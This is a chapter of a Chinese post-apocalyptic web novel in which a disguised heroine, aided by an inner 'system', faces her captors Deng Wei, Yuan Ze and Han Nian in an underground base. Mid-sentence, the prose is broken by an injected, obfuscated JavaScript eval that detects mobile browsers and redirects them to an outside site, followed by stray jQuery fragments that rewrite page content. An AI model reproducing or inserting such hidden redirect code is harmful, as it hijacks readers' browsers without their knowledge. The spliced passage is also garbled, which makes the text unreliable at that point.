邓薇被她的神情吓了一大跳，手下意识回收的同时，后背疯狂溢出冷汗。


    带着冷意的眼神投来，这一次安琼对她展露出来的情绪是显而易见的杀意。


    安琼想杀她。


    但在下一刻，赫弄溪的眼神转变，闭眼抹掉侧脸上的血迹，但她能够清晰感觉到擦拭血迹时的滞涩感，这说明血点已经凝固很久，在脸上留下了难以擦掉的印记。


    邓薇的床被赫弄溪占据，邓薇只能坐在一旁的小沙发上，小沙发不算柔软，坐起来也需要把脊背挺直，感觉并不好。


    她从再次进来之后就表现得很不对劲，甚至在赫弄溪看来，邓薇在心虚，因为她猜中了邓薇的入梦异能，猜中她的手段。


    赫弄溪不会对这么一个人心软，邓薇和韩年狼狈为奸，两个人都不是什么好东西。


    ‘宿主，刚才那个场面怎么样！’


    系统的童音尾音上扬，就连没有情绪的声音里都多了些邀功请赏的感觉。


    系统的时机确实把控得很好，不仅让邓薇吓一跳，还让监控后面的人黑脸。


    系统顺着线路找到了观看监控的人，在线路被切断的一瞬间，对方沉下了脸。


    ‘如果不透露出异能觉醒的征兆，他们是不会相信我杀掉了那个男人的。’


    病房里的血腥味还在，赫弄溪想打开窗户透风，但依照这个地下城工业化程度来看，这里的空气也不怎么新鲜。


    不过，赫弄溪能忍受这血腥气，安琼·戴维斯却不能。


    于是女人微微扬唇，猛烈咳嗽两声，听起来几乎要把肺都一齐咳出。


    邓薇被这咳嗽声拉回神来，她的目光迅速转移到赫弄溪身上，看着她趴在床边，双手紧紧抓住床沿，身体往下倒去，后背的脊骨凸出，能够透过病服布料清楚看见骨骼的痕迹。


    “吱呀”声被咳嗽声压下许多，邓薇打开了窗户，她站在窗前，呼吸了一口混杂着工业粉尘和焚烧物的空气，抬手把窗户推到底部后再回过头来观察赫弄溪的情况。


    她看着花瓶小姐声音被咳哑，声音越来越沙哑低沉，脆弱的花瓶小姐哪里还有那一副杀人的恐怖模样？花瓶小姐甚至要被病痛折磨。


    那位首领吩咐了，要好好照看她。


    想到这里，邓薇突然笑起来，声音在骤然寂静的病房里响起，突兀而古怪。


    赫弄溪靠在床头，微微睁开眼睛和她对视，邓薇手指轻抬，冲赫弄溪歪了歪头，“你觉得我不按照他的指令行事，能在这里活下来吗？”


    “你根本不懂，因为你生来就拥有最好的待遇，很多人奋斗一生都可能达不到你出生时的高度。”


    “安琼·戴维斯，你流淌着戴维斯的血液，你不配用这种蔑视的眼神看我。”


    邓薇突然提高音量，她双眼瞪大，一字一句都带着愤恨，凭什么她生来就大家族的小姐，凭什么在这强者为尊的世界，这些大家族依旧能够占有90％以上的财富，拥有绝大部分的资源？


    而她，费尽力气，凭借从其他拾荒者那里抢夺到的丁点食物苟延残喘？


    邓薇爆发了。


    赫弄溪冷眼看着邓薇站在窗边向她嘶吼，声声控诉这个不公平的世界。


    “女人应该怎么在这个世界存活下来？依附于人是你最好的选择。”


    “别用这个眼神盯着我，花瓶小姐，别以为你那一点微不足道的反抗就可以抗衡整个黄沙基地，只有真正强大，才可以有一点生存的希望，而不是死在异变里，变成我们自己都憎恶的怪物。”


    赫弄溪听到邓薇这些话丝毫不意外，她就是在故意引导邓薇说出来。


    有些时候，秘密只有放在自己心里才是秘密，只要说出来了，就不再是无人知晓的隐秘。


    到底是什么让邓薇这么歇斯底里呢？


    是经年累月的压迫，对生存的渴求，对未来的迷茫，对权势的憎恶，对整个世界的恨意。


    还有，她看破她的异能，戳穿她引以为傲的冷静外壳。


    这是导火索。


    赫弄溪认为自己是个自私的人，即使失去了过往关于自己所有的记忆，但她潜意识里依旧封存着对万事万物冷眼旁观的心理。


    邓薇这样的人，世界上随处可见。


    或许包括曾经的她自己。


    这一点赫弄溪说不准，所以仅仅只是一句“或许”。


    “好的邓薇小姐，但是没人关注你的状况所以你觉得憋屈，觉得痛苦。”


    “睡一觉就好了，你可以再次进入我的梦境，在我的梦里看见更多的东西，用我的痛苦来冲散你的痛苦，我的痛苦分给你一半。”


    “睡吧，睡吧，你的床也分你一半。”


    意料之中的，邓薇没有躺在她身边。


    且不说邓薇本身就不放心她这个来历不明的“花瓶小姐”，就单单论刚才闹出的不愉快，邓薇不会放下芥蒂。


    系统随时待命，赫弄溪放心睡过去。


    第二天醒来，没有见到邓薇的影子。


    倒是在对面的小沙发上坐着一道身影。


    元则撑着头打瞌睡，倏地整个脑袋都垂下去，打了个哈欠，注意到前面病床上的女人默默盯着他。


    “老大出任务去了，让我带你去你的新住处。”


    见眼前人不说话，只是一双眼睛冷冷盯着，元则觉得头大：“黄沙可没人宠着你，如果你不去，这种情况就会出现无数次。”


    “说实话，如果老大不管你，你昨天晚上就已经死了。”


    说话间，元则流露出他的不屑，一种由内而生的优越感。


    他们崇尚强大，不会对一个没用的花瓶有好脸色，除非这个花瓶背后站着更强大的人，显然在所有人的眼里，在黄沙基地，最大的靠山就是韩年。


    所有人都讨厌她这种走后门的，但没办法，他们偏偏也害怕走后门的。


    本来也是伪装成安琼·戴维斯，再多装一会儿花瓶，依附于韩年又怎样？


    这不正是韩年所希望的吗？


    韩年巴不得看见她把所有的希望都寄托到他身上，这样他之后的行动和计划都能简单许多。


    系统也懂这个道理，在赫弄溪脑海里疯狂肯定，不停谩骂韩年这个恶心的坏蛋的同时，劝赫弄溪假装依附。


    ‘如果只是假装，那有点不好演，我的演技还没到这种程度，我觉得我可以真的依附一下。’


    系统有些听不懂赫弄溪的话，她的脑回路不能用系统推测，有可能系统理解的是aorb，但在赫弄溪的认知里是or。


    赫弄溪垂眸，手指抓住床单。


    她的视线落到自己的手指上，几个手指轻微动弹，活动起来的手指让她感觉到自己还活着。


    粗糙的床单触感让她的心神难以平静。


    病房里沉寂下来，元则双臂环抱，坐在小沙发上不停打哈欠，眼下一片青紫。


    小沙发的靠背太低，他一整个脑袋都在外面，靠也靠不到，等待赫弄溪回答的期间，抬起手臂揉捏自己的臂膀。


    “我想找韩年。”


    细微的声音从不远处传来，元则掏了掏耳朵，按住光脑点了两下，随即露出奇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421404|169071||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怪的笑。


    “老大没有时间，我刚刚说过了。”


    “我就要找他。”赫弄溪微微扬起脖子，碧色眼瞳里满是执拗。


    即使元则冷眼瞪她，她也不为所动，丝毫不退让，于是元则无语了。


    他抬起光脑，抓住赫弄溪的手臂，在她光脑上碰了一下。


    赫弄溪任由他动，光脑自从戴在她手上就没用过，夜晚为了切断病房内所有的电源线路，就连光脑都被屏蔽起来。


    此时光脑启动，赫弄溪垂眸，光脑上多了一个联系人。


    只有数字编号。


    1。


    一个简朴的数字“1”。


    “这是黄沙基地的人员编号，首领是1，编号可以继承，每当一个人死去，他的编号就会空下来，等到有新人加入基地时，就会重新启用编号。”


    赫弄溪听到他的话，开口询问，“上一个1是谁？”


    她的语气平淡非常，似乎只是随口一问，但元则的眼神还是在一瞬间变得狠厉，他咬牙切齿，一字一句，声音加重，“你是装不知道还是真不知道？上一个1，当然是前首领，你的父亲啊，这位大小姐。”


    元则抬手扶额，一阵无语看天，似乎只要赫弄溪再问上一句就会摆上更加凶狠的神色，当然，也可能直接不加理会。


    赫弄溪对这些东西的使用还有一点肌肉记忆，不至于到两眼一摸黑的程度。


    光脑上倏地弹出信息窗口，旋即一个视频电话打了过来，她点击接听。


    韩年的脸出现在眼前，距离她的脸庞很近很近。


    逼真的全息影像让赫弄溪没忍住后仰，全息影像投影出来的人只有半个身体，韩年，身处一个漆黑无比的地方，透过全息影像，赫弄溪能够勉强注意到他身后的倒影。


    有几个人的影子倒映到墙壁上，墙面凹凸不平，说是墙面，更像是某种地下洞穴的洞壁。


    赫弄溪没问他在哪儿，就算她问也不会得到回答。


    韩年先是仰头说了句“等我两分钟”，随即垂眸，目光放在她身上，在扫过她领口时缓缓皱起眉头。


    “怎么还穿着这件衣服？不知道的还以为黄沙连一件干净衣服都没有。”


    确实，赫弄溪的病服上全是血点子，当晚就没有处理，一直到现在。


    赫弄溪能注意到韩年的视线停滞，在她脖颈上多停留了一秒后迅速挪开，漫不经心开口：“元则是我的手下，你可以尽管跟着他走，我可以保证，至少在黄沙范围内，没有人敢为难你。”


    他突然想起什么，“昨晚是意外，不会发生那样的事情了。”


    他也不管赫弄溪信没信他承诺，突然面露不耐正要挂断，赫弄溪连忙打断他的动作。


    “我现在就想见你。”


    “过犹不及这个词你听过吗？有些时候越是想证明什么就越不要表现得太夸张。”听到她的话，韩年嘲讽一声，歪了歪头。


    枪声轰鸣透过影像传递过来。


    像是警告。


    警告她不要这么急于求成。


    但赫弄溪依旧坚持那句话。


    “我就是想见你，我想当面和你谈。”她语气平淡，但是全息影像投射过去的清晰度很高，韩年注意到她藏在眼底的疲惫。


    他突然转变了想法，把玩着手里的银色手枪，光脑好像晃了一下，他身后的背景变换，露出一根灰褐色的古怪长尾，在一片骂声中，勾起唇角。


    赫弄溪从嘈杂的声音里捕捉到韩年轻佻的笑。


    “好啊……”


    “那你求我。”